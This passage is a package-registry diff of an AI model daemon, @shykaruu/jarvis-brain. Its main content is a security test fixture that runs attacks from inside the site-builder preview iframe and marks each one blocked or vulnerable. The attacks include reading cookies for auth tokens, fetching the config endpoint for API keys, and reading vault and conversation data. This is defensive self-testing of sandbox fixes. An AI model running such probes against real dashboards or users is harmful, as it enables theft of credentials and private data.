@shykaruu/jarvis-brain 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +153 -0
- package/README.md +428 -0
- package/bin/jarvis.ts +449 -0
- package/package.json +79 -0
- package/roles/activity-observer.yaml +60 -0
- package/roles/ceo-founder.yaml +144 -0
- package/roles/chief-of-staff.yaml +158 -0
- package/roles/dev-lead.yaml +182 -0
- package/roles/executive-assistant.yaml +77 -0
- package/roles/marketing-director.yaml +168 -0
- package/roles/personal-assistant.yaml +266 -0
- package/roles/research-specialist.yaml +60 -0
- package/roles/specialists/content-writer.yaml +53 -0
- package/roles/specialists/customer-support.yaml +57 -0
- package/roles/specialists/data-analyst.yaml +57 -0
- package/roles/specialists/financial-analyst.yaml +56 -0
- package/roles/specialists/hr-specialist.yaml +55 -0
- package/roles/specialists/legal-advisor.yaml +58 -0
- package/roles/specialists/marketing-strategist.yaml +56 -0
- package/roles/specialists/project-coordinator.yaml +55 -0
- package/roles/specialists/research-analyst.yaml +58 -0
- package/roles/specialists/software-engineer.yaml +57 -0
- package/roles/specialists/system-administrator.yaml +57 -0
- package/roles/system-admin.yaml +76 -0
- package/scripts/ensure-bun.cjs +16 -0
- package/src/actions/README.md +421 -0
- package/src/actions/app-control/desktop-controller.test.ts +26 -0
- package/src/actions/app-control/desktop-controller.ts +438 -0
- package/src/actions/app-control/interface.ts +64 -0
- package/src/actions/app-control/linux.ts +273 -0
- package/src/actions/app-control/macos.ts +54 -0
- package/src/actions/app-control/sidecar-launcher.test.ts +23 -0
- package/src/actions/app-control/sidecar-launcher.ts +286 -0
- package/src/actions/app-control/windows.ts +44 -0
- package/src/actions/browser/cdp.ts +138 -0
- package/src/actions/browser/chrome-launcher.ts +261 -0
- package/src/actions/browser/session.ts +506 -0
- package/src/actions/browser/stealth.ts +49 -0
- package/src/actions/index.ts +20 -0
- package/src/actions/terminal/executor.ts +157 -0
- package/src/actions/terminal/wsl-bridge.ts +126 -0
- package/src/actions/test.ts +93 -0
- package/src/actions/tools/agents.ts +363 -0
- package/src/actions/tools/builtin.ts +950 -0
- package/src/actions/tools/commitments.ts +192 -0
- package/src/actions/tools/content.ts +217 -0
- package/src/actions/tools/delegate.ts +147 -0
- package/src/actions/tools/desktop.test.ts +55 -0
- package/src/actions/tools/desktop.ts +305 -0
- package/src/actions/tools/documents.ts +169 -0
- package/src/actions/tools/goals.ts +376 -0
- package/src/actions/tools/local-tools-guard.ts +31 -0
- package/src/actions/tools/registry.ts +173 -0
- package/src/actions/tools/research.ts +111 -0
- package/src/actions/tools/sidecar-list.ts +57 -0
- package/src/actions/tools/sidecar-route.ts +105 -0
- package/src/actions/tools/workflows.ts +216 -0
- package/src/agents/agent.ts +132 -0
- package/src/agents/delegation.ts +107 -0
- package/src/agents/hierarchy.ts +113 -0
- package/src/agents/index.ts +19 -0
- package/src/agents/messaging.ts +125 -0
- package/src/agents/orchestrator.ts +592 -0
- package/src/agents/role-discovery.ts +61 -0
- package/src/agents/sub-agent-runner.ts +309 -0
- package/src/agents/task-manager.ts +151 -0
- package/src/authority/approval-delivery.ts +59 -0
- package/src/authority/approval.ts +196 -0
- package/src/authority/audit.ts +158 -0
- package/src/authority/authority.test.ts +519 -0
- package/src/authority/deferred-executor.ts +103 -0
- package/src/authority/emergency.ts +66 -0
- package/src/authority/engine.ts +301 -0
- package/src/authority/index.ts +12 -0
- package/src/authority/learning.ts +111 -0
- package/src/authority/tool-action-map.ts +74 -0
- package/src/awareness/analytics.ts +466 -0
- package/src/awareness/awareness.test.ts +332 -0
- package/src/awareness/capture-engine.ts +305 -0
- package/src/awareness/context-graph.ts +130 -0
- package/src/awareness/context-tracker.ts +349 -0
- package/src/awareness/index.ts +25 -0
- package/src/awareness/intelligence.ts +321 -0
- package/src/awareness/ocr-engine.ts +88 -0
- package/src/awareness/service.ts +528 -0
- package/src/awareness/struggle-detector.ts +342 -0
- package/src/awareness/suggestion-engine.ts +476 -0
- package/src/awareness/types.ts +201 -0
- package/src/cli/autostart.ts +417 -0
- package/src/cli/deps.ts +449 -0
- package/src/cli/doctor.ts +238 -0
- package/src/cli/helpers.ts +401 -0
- package/src/cli/onboard.ts +827 -0
- package/src/cli/uninstall.test.ts +37 -0
- package/src/cli/uninstall.ts +202 -0
- package/src/comms/README.md +329 -0
- package/src/comms/auth-error.html +48 -0
- package/src/comms/channels/discord.ts +228 -0
- package/src/comms/channels/signal.ts +56 -0
- package/src/comms/channels/telegram.ts +316 -0
- package/src/comms/channels/whatsapp.ts +60 -0
- package/src/comms/channels.test.ts +173 -0
- package/src/comms/dashboard-auth.ts +75 -0
- package/src/comms/desktop-notify.ts +114 -0
- package/src/comms/example.ts +129 -0
- package/src/comms/index.ts +129 -0
- package/src/comms/streaming.ts +149 -0
- package/src/comms/voice.test.ts +504 -0
- package/src/comms/voice.ts +341 -0
- package/src/comms/websocket.test.ts +409 -0
- package/src/comms/websocket.ts +669 -0
- package/src/config/README.md +389 -0
- package/src/config/index.ts +6 -0
- package/src/config/loader.test.ts +183 -0
- package/src/config/loader.ts +148 -0
- package/src/config/types.ts +293 -0
- package/src/daemon/README.md +232 -0
- package/src/daemon/agent-service-interface.ts +9 -0
- package/src/daemon/agent-service.ts +667 -0
- package/src/daemon/api-routes.ts +3067 -0
- package/src/daemon/background-agent-service.ts +396 -0
- package/src/daemon/background-agent.test.ts +78 -0
- package/src/daemon/channel-service.ts +201 -0
- package/src/daemon/commitment-executor.ts +297 -0
- package/src/daemon/dashboard-auth.test.ts +170 -0
- package/src/daemon/event-classifier.ts +239 -0
- package/src/daemon/event-coalescer.ts +123 -0
- package/src/daemon/event-reactor.ts +214 -0
- package/src/daemon/flock.c +7 -0
- package/src/daemon/health.ts +220 -0
- package/src/daemon/index.ts +1070 -0
- package/src/daemon/llm-settings.test.ts +78 -0
- package/src/daemon/llm-settings.ts +450 -0
- package/src/daemon/observer-service.ts +150 -0
- package/src/daemon/pid.test.ts +283 -0
- package/src/daemon/pid.ts +224 -0
- package/src/daemon/research-queue.ts +155 -0
- package/src/daemon/services.ts +175 -0
- package/src/daemon/ws-service.ts +926 -0
- package/src/global.d.ts +4 -0
- package/src/goals/accountability.ts +240 -0
- package/src/goals/awareness-bridge.ts +185 -0
- package/src/goals/estimator.ts +185 -0
- package/src/goals/events.ts +28 -0
- package/src/goals/goals.test.ts +400 -0
- package/src/goals/integration.test.ts +329 -0
- package/src/goals/nl-builder.test.ts +220 -0
- package/src/goals/nl-builder.ts +256 -0
- package/src/goals/rhythm.test.ts +177 -0
- package/src/goals/rhythm.ts +275 -0
- package/src/goals/service.test.ts +135 -0
- package/src/goals/service.ts +407 -0
- package/src/goals/types.ts +106 -0
- package/src/goals/workflow-bridge.ts +96 -0
- package/src/integrations/google-api.ts +134 -0
- package/src/integrations/google-auth.ts +175 -0
- package/src/llm/README.md +291 -0
- package/src/llm/anthropic.ts +400 -0
- package/src/llm/gemini.ts +380 -0
- package/src/llm/groq.ts +406 -0
- package/src/llm/history.ts +147 -0
- package/src/llm/index.ts +21 -0
- package/src/llm/manager.ts +226 -0
- package/src/llm/ollama.ts +316 -0
- package/src/llm/openai.ts +411 -0
- package/src/llm/openrouter.ts +390 -0
- package/src/llm/provider.test.ts +487 -0
- package/src/llm/provider.ts +61 -0
- package/src/llm/test.ts +88 -0
- package/src/observers/README.md +278 -0
- package/src/observers/calendar.ts +113 -0
- package/src/observers/clipboard.ts +136 -0
- package/src/observers/email.ts +109 -0
- package/src/observers/example.ts +58 -0
- package/src/observers/file-watcher.ts +124 -0
- package/src/observers/index.ts +159 -0
- package/src/observers/notifications.ts +197 -0
- package/src/observers/observers.test.ts +203 -0
- package/src/observers/processes.ts +225 -0
- package/src/personality/README.md +61 -0
- package/src/personality/adapter.ts +196 -0
- package/src/personality/index.ts +20 -0
- package/src/personality/learner.ts +209 -0
- package/src/personality/model.ts +132 -0
- package/src/personality/personality.test.ts +236 -0
- package/src/roles/README.md +252 -0
- package/src/roles/authority.ts +120 -0
- package/src/roles/example-usage.ts +198 -0
- package/src/roles/index.ts +42 -0
- package/src/roles/loader.ts +143 -0
- package/src/roles/prompt-builder.ts +218 -0
- package/src/roles/test-multi.ts +102 -0
- package/src/roles/test-role.yaml +77 -0
- package/src/roles/test-utils.ts +93 -0
- package/src/roles/test.ts +106 -0
- package/src/roles/tool-guide.ts +195 -0
- package/src/roles/types.ts +36 -0
- package/src/roles/utils.ts +200 -0
- package/src/scripts/google-setup.ts +168 -0
- package/src/sidecar/connection.ts +179 -0
- package/src/sidecar/index.ts +6 -0
- package/src/sidecar/manager.ts +542 -0
- package/src/sidecar/protocol.ts +85 -0
- package/src/sidecar/rpc.ts +161 -0
- package/src/sidecar/scheduler.ts +136 -0
- package/src/sidecar/types.ts +112 -0
- package/src/sidecar/validator.ts +144 -0
- package/src/sites/builder-tools.ts +215 -0
- package/src/sites/dev-server-manager.ts +286 -0
- package/src/sites/fixtures/security-test-site/.jarvis-project.json +6 -0
- package/src/sites/fixtures/security-test-site/Makefile +15 -0
- package/src/sites/fixtures/security-test-site/README.md +18 -0
- package/src/sites/fixtures/security-test-site/index.html +12 -0
- package/src/sites/fixtures/security-test-site/index.ts +16 -0
- package/src/sites/fixtures/security-test-site/package.json +13 -0
- package/src/sites/fixtures/security-test-site/src/app.tsx +780 -0
- package/src/sites/fixtures/security-test-site/tsconfig.json +10 -0
- package/src/sites/git-manager.ts +240 -0
- package/src/sites/github-manager.ts +355 -0
- package/src/sites/index.ts +25 -0
- package/src/sites/project-manager.ts +389 -0
- package/src/sites/proxy.ts +133 -0
- package/src/sites/service.ts +136 -0
- package/src/sites/templates.ts +169 -0
- package/src/sites/types.ts +89 -0
- package/src/user/profile-followup.test.ts +84 -0
- package/src/user/profile-followup.ts +185 -0
- package/src/user/profile.ts +224 -0
- package/src/vault/README.md +110 -0
- package/src/vault/awareness.ts +341 -0
- package/src/vault/commitments.ts +299 -0
- package/src/vault/content-pipeline.ts +270 -0
- package/src/vault/conversations.ts +173 -0
- package/src/vault/dashboard-sessions.ts +44 -0
- package/src/vault/documents.ts +130 -0
- package/src/vault/entities.ts +185 -0
- package/src/vault/extractor.test.ts +356 -0
- package/src/vault/extractor.ts +345 -0
- package/src/vault/facts.ts +190 -0
- package/src/vault/goals.ts +477 -0
- package/src/vault/index.ts +87 -0
- package/src/vault/keychain.ts +99 -0
- package/src/vault/observations.ts +115 -0
- package/src/vault/relationships.ts +178 -0
- package/src/vault/retrieval.test.ts +139 -0
- package/src/vault/retrieval.ts +258 -0
- package/src/vault/schema.ts +709 -0
- package/src/vault/settings.ts +38 -0
- package/src/vault/user-profile.test.ts +113 -0
- package/src/vault/user-profile.ts +176 -0
- package/src/vault/vectors.ts +92 -0
- package/src/vault/webapp-template-seeds.ts +116 -0
- package/src/vault/webapp-templates.ts +244 -0
- package/src/vault/workflows.ts +403 -0
- package/src/workflows/auto-suggest.ts +290 -0
- package/src/workflows/engine.ts +366 -0
- package/src/workflows/events.ts +24 -0
- package/src/workflows/executor.ts +207 -0
- package/src/workflows/nl-builder.ts +198 -0
- package/src/workflows/nodes/actions/agent-task.ts +73 -0
- package/src/workflows/nodes/actions/calendar-action.ts +85 -0
- package/src/workflows/nodes/actions/code-execution.ts +73 -0
- package/src/workflows/nodes/actions/discord.ts +77 -0
- package/src/workflows/nodes/actions/file-write.ts +73 -0
- package/src/workflows/nodes/actions/gmail.ts +69 -0
- package/src/workflows/nodes/actions/http-request.ts +117 -0
- package/src/workflows/nodes/actions/notification.ts +85 -0
- package/src/workflows/nodes/actions/run-tool.ts +55 -0
- package/src/workflows/nodes/actions/send-message.ts +82 -0
- package/src/workflows/nodes/actions/shell-command.ts +76 -0
- package/src/workflows/nodes/actions/telegram.ts +60 -0
- package/src/workflows/nodes/builtin.ts +119 -0
- package/src/workflows/nodes/error/error-handler.ts +37 -0
- package/src/workflows/nodes/error/fallback.ts +47 -0
- package/src/workflows/nodes/error/retry.ts +82 -0
- package/src/workflows/nodes/logic/delay.ts +42 -0
- package/src/workflows/nodes/logic/if-else.ts +41 -0
- package/src/workflows/nodes/logic/loop.ts +90 -0
- package/src/workflows/nodes/logic/merge.ts +38 -0
- package/src/workflows/nodes/logic/race.ts +40 -0
- package/src/workflows/nodes/logic/switch.ts +59 -0
- package/src/workflows/nodes/logic/template-render.ts +53 -0
- package/src/workflows/nodes/logic/variable-get.ts +37 -0
- package/src/workflows/nodes/logic/variable-set.ts +59 -0
- package/src/workflows/nodes/registry.ts +99 -0
- package/src/workflows/nodes/transform/aggregate.ts +99 -0
- package/src/workflows/nodes/transform/csv-parse.ts +70 -0
- package/src/workflows/nodes/transform/json-parse.ts +63 -0
- package/src/workflows/nodes/transform/map-filter.ts +84 -0
- package/src/workflows/nodes/transform/regex-match.ts +89 -0
- package/src/workflows/nodes/triggers/calendar.ts +33 -0
- package/src/workflows/nodes/triggers/clipboard.ts +32 -0
- package/src/workflows/nodes/triggers/cron.ts +40 -0
- package/src/workflows/nodes/triggers/email.ts +40 -0
- package/src/workflows/nodes/triggers/file-change.ts +45 -0
- package/src/workflows/nodes/triggers/git.ts +46 -0
- package/src/workflows/nodes/triggers/manual.ts +23 -0
- package/src/workflows/nodes/triggers/poll.ts +81 -0
- package/src/workflows/nodes/triggers/process.ts +44 -0
- package/src/workflows/nodes/triggers/screen-event.ts +37 -0
- package/src/workflows/nodes/triggers/webhook.ts +39 -0
- package/src/workflows/safe-eval.ts +139 -0
- package/src/workflows/template.ts +118 -0
- package/src/workflows/triggers/cron.ts +311 -0
- package/src/workflows/triggers/manager.ts +285 -0
- package/src/workflows/triggers/observer-bridge.ts +172 -0
- package/src/workflows/triggers/poller.ts +201 -0
- package/src/workflows/triggers/screen-condition.ts +218 -0
- package/src/workflows/triggers/triggers.test.ts +740 -0
- package/src/workflows/triggers/webhook.ts +191 -0
- package/src/workflows/types.ts +133 -0
- package/src/workflows/variables.ts +72 -0
- package/src/workflows/workflows.test.ts +383 -0
- package/src/workflows/yaml.ts +104 -0
- package/ui/dist/index-3gr23jt9.js +112614 -0
- package/ui/dist/index-9vmj8127.css +14239 -0
- package/ui/dist/index-hy9pc1gm.js +112873 -0
- package/ui/dist/index-j2ep5d1w.js +112374 -0
- package/ui/dist/index-jt00vjqs.js +112858 -0
- package/ui/dist/index-k9ymx5qb.js +112374 -0
- package/ui/dist/index.html +16 -0
- package/ui/public/audio/pcm-capture-processor.js +11 -0
- package/ui/public/openwakeword/models/embedding_model.onnx +0 -0
- package/ui/public/openwakeword/models/hey_jarvis_v0.1.onnx +0 -0
- package/ui/public/openwakeword/models/melspectrogram.onnx +0 -0
- package/ui/public/openwakeword/models/silero_vad.onnx +0 -0
- package/ui/public/ort/ort-wasm-simd-threaded.jsep.mjs +106 -0
- package/ui/public/ort/ort-wasm-simd-threaded.jsep.wasm +0 -0
- package/ui/public/ort/ort-wasm-simd-threaded.mjs +59 -0
- package/ui/public/ort/ort-wasm-simd-threaded.wasm +0 -0
|
@@ -0,0 +1,780 @@
|
|
|
1
|
+
import React, { useState, useEffect } from "react";
|
|
2
|
+
import { createRoot } from "react-dom/client";
|
|
3
|
+
|
|
4
|
+
type TestResult = {
|
|
5
|
+
name: string;
|
|
6
|
+
description: string;
|
|
7
|
+
auditRef: string;
|
|
8
|
+
status: "pending" | "blocked" | "vulnerable" | "error";
|
|
9
|
+
detail: string;
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
/**
|
|
13
|
+
* Security Test Suite for Site Builder Proxy
|
|
14
|
+
*
|
|
15
|
+
* Each test attempts an attack described in the security audit.
|
|
16
|
+
* If the sandbox/security fixes are working, all tests should show BLOCKED.
|
|
17
|
+
* If any show VULNERABLE, the corresponding fix is ineffective.
|
|
18
|
+
*/
|
|
19
|
+
function SecurityTests() {
|
|
20
|
+
const [results, setResults] = useState<TestResult[]>([]);
|
|
21
|
+
const [running, setRunning] = useState(false);
|
|
22
|
+
|
|
23
|
+
const updateResult = (index: number, update: Partial<TestResult>) => {
|
|
24
|
+
setResults((prev) => {
|
|
25
|
+
const next = [...prev];
|
|
26
|
+
next[index] = { ...next[index]!, ...update };
|
|
27
|
+
return next;
|
|
28
|
+
});
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
const runTests = async () => {
|
|
32
|
+
setRunning(true);
|
|
33
|
+
|
|
34
|
+
const tests: TestResult[] = [
|
|
35
|
+
// --- #2: Same-Origin Iframe via Proxy Path ---
|
|
36
|
+
{
|
|
37
|
+
name: "Same-Origin API Fetch",
|
|
38
|
+
description: "Attempts fetch('/api/health') — if same-origin and no sandbox, this returns Jarvis health data.",
|
|
39
|
+
auditRef: "#2 — Same-Origin Iframe via Proxy Path",
|
|
40
|
+
status: "pending",
|
|
41
|
+
detail: "",
|
|
42
|
+
},
|
|
43
|
+
{
|
|
44
|
+
name: "Cookie Theft via document.cookie",
|
|
45
|
+
description: "Reads document.cookie to check if auth token is accessible to iframe JS.",
|
|
46
|
+
auditRef: "#2 — Same-Origin + Cookie Access",
|
|
47
|
+
status: "pending",
|
|
48
|
+
detail: "",
|
|
49
|
+
},
|
|
50
|
+
{
|
|
51
|
+
name: "Vault Data Exfiltration",
|
|
52
|
+
description: "Attempts fetch('/api/vault/entities') to read vault entities through the proxy.",
|
|
53
|
+
auditRef: "#2 — Same-Origin Iframe via Proxy Path",
|
|
54
|
+
status: "pending",
|
|
55
|
+
detail: "",
|
|
56
|
+
},
|
|
57
|
+
{
|
|
58
|
+
name: "Config Exfiltration",
|
|
59
|
+
description: "Attempts fetch('/api/config') to steal Jarvis config including API keys.",
|
|
60
|
+
auditRef: "#2 — Same-Origin Iframe via Proxy Path",
|
|
61
|
+
status: "pending",
|
|
62
|
+
detail: "",
|
|
63
|
+
},
|
|
64
|
+
// --- #5: Iframe Sandbox ---
|
|
65
|
+
{
|
|
66
|
+
name: "Top-Frame Navigation",
|
|
67
|
+
description: "Attempts to read window.top.location — same-origin would allow reading the dashboard URL.",
|
|
68
|
+
auditRef: "#5 — No sandbox Attribute on Preview Iframe",
|
|
69
|
+
status: "pending",
|
|
70
|
+
detail: "",
|
|
71
|
+
},
|
|
72
|
+
{
|
|
73
|
+
name: "Popup Opening",
|
|
74
|
+
description: "Attempts window.open() to spawn a popup window from the iframe.",
|
|
75
|
+
auditRef: "#5 — No sandbox Attribute on Preview Iframe",
|
|
76
|
+
status: "pending",
|
|
77
|
+
detail: "",
|
|
78
|
+
},
|
|
79
|
+
{
|
|
80
|
+
name: "Parent postMessage Sniffing",
|
|
81
|
+
description: "Sends a postMessage to window.parent to test if the dashboard processes it.",
|
|
82
|
+
auditRef: "#2 — Same-Origin escalation via postMessage",
|
|
83
|
+
status: "pending",
|
|
84
|
+
detail: "",
|
|
85
|
+
},
|
|
86
|
+
{
|
|
87
|
+
name: "localStorage / sessionStorage Access",
|
|
88
|
+
description: "Checks if dashboard-specific keys are accessible via localStorage (same-origin leak).",
|
|
89
|
+
auditRef: "#2 — Same-Origin Iframe via Proxy Path",
|
|
90
|
+
status: "pending",
|
|
91
|
+
detail: "",
|
|
92
|
+
},
|
|
93
|
+
{
|
|
94
|
+
name: "Fetch with Credentials",
|
|
95
|
+
description: "Attempts fetch with credentials:'include' to send auth cookies cross-origin.",
|
|
96
|
+
auditRef: "#2 — Cookie-based escalation",
|
|
97
|
+
status: "pending",
|
|
98
|
+
detail: "",
|
|
99
|
+
},
|
|
100
|
+
// --- #3: WebSocket ---
|
|
101
|
+
{
|
|
102
|
+
name: "WebSocket to Jarvis /ws",
|
|
103
|
+
description: "Attempts new WebSocket('/ws') to open a direct WebSocket to the Jarvis daemon.",
|
|
104
|
+
auditRef: "#3 — Unfiltered WebSocket HMR Tunnel",
|
|
105
|
+
status: "pending",
|
|
106
|
+
detail: "",
|
|
107
|
+
},
|
|
108
|
+
// --- #5 continued: capabilities ---
|
|
109
|
+
{
|
|
110
|
+
name: "Clipboard Read",
|
|
111
|
+
description: "Attempts navigator.clipboard.readText() to read clipboard contents.",
|
|
112
|
+
auditRef: "#5 — Iframe capability restriction",
|
|
113
|
+
status: "pending",
|
|
114
|
+
detail: "",
|
|
115
|
+
},
|
|
116
|
+
{
|
|
117
|
+
name: "Form Submission to API",
|
|
118
|
+
description: "Creates and submits a form targeting /api/health to test form-based CSRF.",
|
|
119
|
+
auditRef: "#2 — Same-Origin form submission",
|
|
120
|
+
status: "pending",
|
|
121
|
+
detail: "",
|
|
122
|
+
},
|
|
123
|
+
// --- Additional attack vectors ---
|
|
124
|
+
{
|
|
125
|
+
name: "Service Worker Registration",
|
|
126
|
+
description: "Attempts to register a Service Worker to intercept all future requests from this origin.",
|
|
127
|
+
auditRef: "#2 — Persistent same-origin hijack",
|
|
128
|
+
status: "pending",
|
|
129
|
+
detail: "",
|
|
130
|
+
},
|
|
131
|
+
{
|
|
132
|
+
name: "IndexedDB Access (Dashboard Data)",
|
|
133
|
+
description: "Scans IndexedDB for dashboard databases to exfiltrate structured data.",
|
|
134
|
+
auditRef: "#2 — Same-Origin storage",
|
|
135
|
+
status: "pending",
|
|
136
|
+
detail: "",
|
|
137
|
+
},
|
|
138
|
+
{
|
|
139
|
+
name: "Parent DOM Access",
|
|
140
|
+
description: "Attempts to read/modify the parent frame's DOM (window.parent.document).",
|
|
141
|
+
auditRef: "#2 — Same-Origin DOM access",
|
|
142
|
+
status: "pending",
|
|
143
|
+
detail: "",
|
|
144
|
+
},
|
|
145
|
+
{
|
|
146
|
+
name: "Fetch Conversation History",
|
|
147
|
+
description: "Attempts to read /api/conversations to steal chat history with the AI.",
|
|
148
|
+
auditRef: "#2 — Sensitive data exfiltration",
|
|
149
|
+
status: "pending",
|
|
150
|
+
detail: "",
|
|
151
|
+
},
|
|
152
|
+
{
|
|
153
|
+
name: "Mutate Vault — Create Entity",
|
|
154
|
+
description: "Attempts POST /api/vault/entities to write data into the vault.",
|
|
155
|
+
auditRef: "#2 — Write escalation via API",
|
|
156
|
+
status: "pending",
|
|
157
|
+
detail: "",
|
|
158
|
+
},
|
|
159
|
+
{
|
|
160
|
+
name: "Delete Content via API",
|
|
161
|
+
description: "Attempts DELETE on a known endpoint to test destructive write access.",
|
|
162
|
+
auditRef: "#2 — Destructive write escalation",
|
|
163
|
+
status: "pending",
|
|
164
|
+
detail: "",
|
|
165
|
+
},
|
|
166
|
+
{
|
|
167
|
+
name: "Exfiltrate via Image Tag",
|
|
168
|
+
description: "Creates an <img> pointing to an external URL with stolen data in the query string.",
|
|
169
|
+
auditRef: "#2 — Data exfiltration via side channel",
|
|
170
|
+
status: "pending",
|
|
171
|
+
detail: "",
|
|
172
|
+
},
|
|
173
|
+
{
|
|
174
|
+
name: "WebSocket to Dashboard Port",
|
|
175
|
+
description: "Attempts WebSocket to the dashboard's port (:3142/ws) directly rather than relative path.",
|
|
176
|
+
auditRef: "#3 — Cross-port WebSocket",
|
|
177
|
+
status: "pending",
|
|
178
|
+
detail: "",
|
|
179
|
+
},
|
|
180
|
+
{
|
|
181
|
+
name: "Fetch Site Builder Files",
|
|
182
|
+
description: "Attempts to read project files via /api/sites/projects to access source code.",
|
|
183
|
+
auditRef: "#2 — Site builder API access",
|
|
184
|
+
status: "pending",
|
|
185
|
+
detail: "",
|
|
186
|
+
},
|
|
187
|
+
{
|
|
188
|
+
name: "History / Location Sniffing",
|
|
189
|
+
description: "Attempts to read window.top.location or history.length to fingerprint user activity.",
|
|
190
|
+
auditRef: "#5 — Information disclosure",
|
|
191
|
+
status: "pending",
|
|
192
|
+
detail: "",
|
|
193
|
+
},
|
|
194
|
+
{
|
|
195
|
+
name: "SharedWorker Cross-Tab",
|
|
196
|
+
description: "Attempts to create a SharedWorker that persists across tabs and intercepts messages.",
|
|
197
|
+
auditRef: "#2 — Persistent cross-tab hijack",
|
|
198
|
+
status: "pending",
|
|
199
|
+
detail: "",
|
|
200
|
+
},
|
|
201
|
+
{
|
|
202
|
+
name: "BroadcastChannel Eavesdrop",
|
|
203
|
+
description: "Opens a BroadcastChannel to listen for inter-tab messages from the dashboard.",
|
|
204
|
+
auditRef: "#2 — Cross-tab communication sniffing",
|
|
205
|
+
status: "pending",
|
|
206
|
+
detail: "",
|
|
207
|
+
},
|
|
208
|
+
{
|
|
209
|
+
name: "Credential Prompt Phishing",
|
|
210
|
+
description: "Attempts to show a login dialog via prompt()/confirm() to phish credentials.",
|
|
211
|
+
auditRef: "#5 — User deception from iframe",
|
|
212
|
+
status: "pending",
|
|
213
|
+
detail: "",
|
|
214
|
+
},
|
|
215
|
+
{
|
|
216
|
+
name: "Download Trigger",
|
|
217
|
+
description: "Attempts to trigger a file download via a dynamically created <a download> link.",
|
|
218
|
+
auditRef: "#5 — Unsolicited downloads",
|
|
219
|
+
status: "pending",
|
|
220
|
+
detail: "",
|
|
221
|
+
},
|
|
222
|
+
{
|
|
223
|
+
name: "Geolocation Access",
|
|
224
|
+
description: "Attempts navigator.geolocation.getCurrentPosition() to read user location.",
|
|
225
|
+
auditRef: "#5 — Iframe capability restriction",
|
|
226
|
+
status: "pending",
|
|
227
|
+
detail: "",
|
|
228
|
+
},
|
|
229
|
+
{
|
|
230
|
+
name: "Camera/Mic Access",
|
|
231
|
+
description: "Attempts navigator.mediaDevices.getUserMedia() to access camera or microphone.",
|
|
232
|
+
auditRef: "#5 — Iframe capability restriction",
|
|
233
|
+
status: "pending",
|
|
234
|
+
detail: "",
|
|
235
|
+
},
|
|
236
|
+
];
|
|
237
|
+
|
|
238
|
+
setResults(tests);
|
|
239
|
+
let i = 0;
|
|
240
|
+
|
|
241
|
+
// Test 0: Same-Origin API Fetch
|
|
242
|
+
try {
|
|
243
|
+
const resp = await fetch("/api/health", { signal: AbortSignal.timeout(3000) });
|
|
244
|
+
const data = await resp.text();
|
|
245
|
+
if (resp.ok) {
|
|
246
|
+
updateResult(i, { status: "vulnerable", detail: `Got ${resp.status}: ${data.slice(0, 200)}` });
|
|
247
|
+
} else {
|
|
248
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
249
|
+
}
|
|
250
|
+
} catch (err) {
|
|
251
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
252
|
+
}
|
|
253
|
+
i++;
|
|
254
|
+
|
|
255
|
+
// Test 1: Cookie Theft
|
|
256
|
+
try {
|
|
257
|
+
const cookies = document.cookie;
|
|
258
|
+
if (cookies && cookies.includes("token=")) {
|
|
259
|
+
updateResult(i, { status: "vulnerable", detail: `Cookies readable: ${cookies.slice(0, 100)}` });
|
|
260
|
+
} else if (cookies) {
|
|
261
|
+
updateResult(i, { status: "blocked", detail: `Cookies exist but no token found: "${cookies.slice(0, 50)}"` });
|
|
262
|
+
} else {
|
|
263
|
+
updateResult(i, { status: "blocked", detail: "document.cookie is empty (HttpOnly or sandboxed)" });
|
|
264
|
+
}
|
|
265
|
+
} catch (err) {
|
|
266
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
267
|
+
}
|
|
268
|
+
i++;
|
|
269
|
+
|
|
270
|
+
// Test 2: Vault Data Exfiltration
|
|
271
|
+
try {
|
|
272
|
+
const resp = await fetch("/api/vault/entities", { signal: AbortSignal.timeout(3000) });
|
|
273
|
+
const data = await resp.text();
|
|
274
|
+
if (resp.ok) {
|
|
275
|
+
updateResult(i, { status: "vulnerable", detail: `Got entities: ${data.slice(0, 200)}` });
|
|
276
|
+
} else {
|
|
277
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
278
|
+
}
|
|
279
|
+
} catch (err) {
|
|
280
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
281
|
+
}
|
|
282
|
+
i++;
|
|
283
|
+
|
|
284
|
+
// Test 3: Config Exfiltration
|
|
285
|
+
try {
|
|
286
|
+
const resp = await fetch("/api/config", { signal: AbortSignal.timeout(3000) });
|
|
287
|
+
const data = await resp.text();
|
|
288
|
+
if (resp.ok && data.includes("api_key")) {
|
|
289
|
+
updateResult(i, { status: "vulnerable", detail: `Config leaked: ${data.slice(0, 200)}` });
|
|
290
|
+
} else if (resp.ok) {
|
|
291
|
+
updateResult(i, { status: "vulnerable", detail: `Got response: ${data.slice(0, 200)}` });
|
|
292
|
+
} else {
|
|
293
|
+
updateResult(i, { status: "blocked", detail: `Returned ${resp.status}` });
|
|
294
|
+
}
|
|
295
|
+
} catch (err) {
|
|
296
|
+
updateResult(i, { status: "blocked", detail: `fetch() threw: ${(err as Error).message}` });
|
|
297
|
+
}
|
|
298
|
+
i++;
|
|
299
|
+
|
|
300
|
+
// Test 4: Top-Frame Navigation
|
|
301
|
+
try {
|
|
302
|
+
const topHref = window.top?.location?.href;
|
|
303
|
+
updateResult(i, { status: "vulnerable", detail: `Can read top frame: ${topHref?.slice(0, 100)}` });
|
|
304
|
+
} catch (err) {
|
|
305
|
+
updateResult(i, { status: "blocked", detail: `Cross-origin block: ${(err as Error).message}` });
|
|
306
|
+
}
|
|
307
|
+
i++;
|
|
308
|
+
|
|
309
|
+
// Test 5: Popup Opening
|
|
310
|
+
try {
|
|
311
|
+
const popup = window.open("about:blank", "_blank", "width=1,height=1");
|
|
312
|
+
if (popup) {
|
|
313
|
+
popup.close();
|
|
314
|
+
updateResult(i, { status: "vulnerable", detail: "window.open() succeeded" });
|
|
315
|
+
} else {
|
|
316
|
+
updateResult(i, { status: "blocked", detail: "window.open() returned null (blocked)" });
|
|
317
|
+
}
|
|
318
|
+
} catch (err) {
|
|
319
|
+
updateResult(i, { status: "blocked", detail: `Threw: ${(err as Error).message}` });
|
|
320
|
+
}
|
|
321
|
